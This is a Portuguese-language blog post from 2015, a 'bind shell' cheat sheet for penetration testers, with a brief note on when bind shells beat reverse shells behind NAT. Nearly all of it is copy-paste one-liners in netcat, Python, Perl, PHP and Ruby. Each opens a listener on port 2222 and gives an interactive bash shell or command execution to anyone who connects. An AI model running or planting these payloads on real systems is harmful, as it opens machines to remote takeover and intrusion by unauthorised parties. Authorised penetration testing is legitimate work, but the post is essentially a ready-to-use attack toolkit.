8 de set de 2015

Bind Shell Cheat Sheet
















Durante um pentest, se você encontrar uma maneira de executar comandos remotos no sistema, com certeza vai querer ter acesso a um shell interativo, no qual possa executar comandos igual executa no terminal do seu computador pessoal. Uma das soluções disso, é o Reverse Shell, o qual possui um excelente Cheat Sheet aqui no pentestmonkey.

Porém, muitas vezes o alvo do nosso pentest é uma máquina remota e estamos atrás do NAT. Dessa maneira, temos que configurar o redirecionamento de portas no nosso modem/roteador. Algumas vezes isso pode ser impossível pois o dispositivo pode não oferecer essa funcionalidade. E pode acontecer também de não termos acesso ao dispositivo para realizar a configuração.

Para resolver este dilema, tens aqui um Bind Shell Cheat Sheet. O bind shell joga a responsabilidade de receber a conexão para o nosso servidor alvo, visto que ele é uma máquina remota e que possui um ip público.





Netcat (netcat-traditional)

nc -lvp 2222 -e /bin/bash



Netcat OpenBSD (netcat-openbsd)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 2222 >/tmp/f



Python

python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(('',2222));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"



Perl

perl -e 'use Socket;$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'




PHP

php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",2222);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'





Ruby

ruby -rsocket -e 'f=TCPServer.new(2222);s=f.accept;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",s,s,s)'

Um comentário: